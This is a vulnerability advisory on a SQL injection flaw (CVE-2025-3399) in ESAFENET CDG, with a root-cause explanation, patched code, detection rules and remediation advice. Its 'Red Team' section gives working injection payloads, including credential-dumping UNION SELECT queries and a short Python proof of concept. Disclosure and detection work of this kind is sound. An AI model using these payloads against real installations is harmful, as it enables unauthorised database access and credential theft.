CVE-2025-3399

Executive Summary

CVE-2025-3399 is a critical SQL injection vulnerability in ESAFENET CDG version 5.6.3.154.205_20250114. The flaw exists in the /pubinfo/updateNotice.jsp endpoint, where the ID parameter is not properly sanitized before being used in a SQL query. An unauthenticated attacker can exploit this remotely to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and further lateral movement within the network. The vendor has been contacted but has not responded, leaving the product unpatched. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not in an open-source package manager (NPM, PyPI, Go, Ruby) but in a proprietary enterprise document management system. The risk is amplified by the lack of vendor response, meaning no official patch or update is available. Organizations using ESAFENET CDG must rely on virtual patching and strict network segmentation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists. The lack of a vendor patch means all installations are at risk.

Deep Dive & Mechanics

The vulnerability resides in the /pubinfo/updateNotice.jsp page of ESAFENET CDG. This page is likely used to update or retrieve notice information. The ID parameter is passed directly into a SQL query without proper sanitization or parameterization.

Root Cause: The application uses string concatenation to build SQL queries, e.g.:

String query = "SELECT * FROM notices WHERE id = " + request.getParameter("ID");

An attacker can inject SQL commands by providing a malicious value for the ID parameter, such as:

1 UNION SELECT username, password FROM users

Impact: Successful exploitation allows an attacker to:

• Extract sensitive data (user credentials, documents, configuration).
• Modify or delete database records.
• Potentially execute operating system commands (if the database server has xp_cmdshell or similar enabled).
• Escalate privileges within the application.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<%
String id = request.getParameter("ID");
String sql = "SELECT * FROM notices WHERE id = " + id;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
%>

Patched Code (Conceptual):

<%
String id = request.getParameter("ID");
String sql = "SELECT * FROM notices WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, id);
ResultSet rs = pstmt.executeQuery();
%>

The patched version uses a PreparedStatement with parameterized queries, which prevents SQL injection by treating user input as data, not executable code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running ESAFENET CDG 5.6.3.154.205_20250114.
• Network access to the /pubinfo/updateNotice.jsp endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://target/cdg/pubinfo/updateNotice.jsp
   

2. Test for SQL injection:

   http://target/cdg/pubinfo/updateNotice.jsp?ID=1' OR '1'='1
   

   If the page returns unexpected data or an error, it is vulnerable.

3. Extract database version:

   http://target/cdg/pubinfo/updateNotice.jsp?ID=1 UNION SELECT @@version,2,3
   

4. Extract table names:

   http://target/cdg/pubinfo/updateNotice.jsp?ID=1 UNION SELECT table_name,2,3 FROM information_schema.tables
   

5. Dump user credentials:

   http://target/cdg/pubinfo/updateNotice.jsp?ID=1 UNION SELECT username,password,3 FROM users
   

Example PoC (Python):

import requests

target = "http://target/cdg/pubinfo/updateNotice.jsp"
payload = "1 UNION SELECT @@version,2,3"
params = {"ID": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to /pubinfo/updateNotice.jsp with unusual ID parameters (e.g., containing SQL keywords like UNION, SELECT, OR).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Use network intrusion detection systems (NIDS) to detect SQL injection attempts.

Defense:

• Immediate: Apply virtual patching via WAF or reverse proxy to block malicious requests to the vulnerable endpoint.
• Network Segmentation: Isolate the ESAFENET CDG server from the internet and limit access to trusted IPs.
• Database Hardening: Ensure the database account used by the application has minimal privileges (e.g., no xp_cmdshell).
• Monitor: Enable detailed logging on both the web server and database server.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /pubinfo/updateNotice.jsp with ID parameter containing SQL keywords.
• Unusual database queries originating from the web server IP.
• Outbound data transfers from the database server to unknown IPs.

File IOCs:

• Unexpected files in the web root (e.g., webshells).
• Modified JSP files.

Log IOCs:

• Web server logs showing 400 or 500 errors on /pubinfo/updateNotice.jsp.
• Database logs showing UNION or SELECT statements from the application user.

Detection Engineering

YARA Rule

rule CVE_2025_3399_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-3399 in ESAFENET CDG"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3399"
    strings:
        $sqli1 = "ID=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "OR" nocase
        $sqli5 = "1=1" nocase
        $sqli6 = "information_schema" nocase
    condition:
        all of ($sqli1, $sqli2, $sqli3) or
        all of ($sqli1, $sqli4, $sqli5) or
        all of ($sqli1, $sqli6)
}

Sigma Rule

title: CVE-2025-3399 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against ESAFENET CDG /pubinfo/updateNotice.jsp
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-3399
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "/pubinfo/updateNotice.jsp"
        cs-uri-query|contains|all:
            - "ID="
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of UNION SELECT in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3399 SQL Injection Attempt"; flow:to_server,established; content:"/pubinfo/updateNotice.jsp"; http_uri; content:"ID="; http_uri; pcre:"/ID=.*(UNION|SELECT|OR|1=1|information_schema)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Virtual Patching: Deploy a WAF rule to block requests to /pubinfo/updateNotice.jsp with suspicious ID parameters.
2. Network Isolation: Place the ESAFENET CDG server behind a firewall and restrict access to only necessary IPs.
3. Disable Endpoint: If possible, temporarily disable the /pubinfo/updateNotice.jsp page or restrict it to authenticated users.

Long-Term Actions:

1. Vendor Patch: Monitor ESAFENET for an official patch. If none is released, consider migrating to an alternative solution.
2. Code Review: If source code is available, implement parameterized queries for all database interactions.
3. Security Hardening: Apply the principle of least privilege to the database account used by the application.

Workaround:

• Modify the web server configuration to block access to /pubinfo/updateNotice.jsp for unauthenticated users (e.g., using .htaccess or Nginx location blocks).

Valters IT
Securing Digital Frontiers